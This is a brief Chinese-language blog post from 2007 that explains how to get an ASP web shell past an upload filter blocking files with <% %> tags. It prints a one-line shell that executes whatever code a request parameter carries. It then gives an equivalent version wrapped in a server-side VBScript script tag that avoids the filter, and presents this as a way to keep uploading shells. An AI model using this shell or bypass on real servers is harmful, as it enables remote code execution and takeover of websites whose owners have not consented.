木子屋 Dnawo's BLOG

当碰到不能使用asp标记的时候

👤 dnawo 📅 2007-05-24 👁 5401 👍 0 💬 0 🔄 来源:www.webjx.com
以前好多朋友说过就是在程序上传shell过程中,程序不允许包含<%%>标记符号的内容的文件上传,这样就有好多shell不能上传上去了!那我们是不就没别的方法了么,当然有了!呵呵!

我们拿蓝屏最小的ASP代码来看下:

<%execute request("l")%>

我们来把他的标签换下来:

<script language=VBScript runat=server>execute request("l")</Script> 

呵呵!这样就避开了使用<%%>,保存为.asp,程序照样执行,效果一样的说!

评论(0)

暂无评论。

验证码
评论需审核通过后显示
← 上一篇 实例方法:解决ASP图像上传漏洞 下一篇 → 修改asp代码防止被杀毒软件误删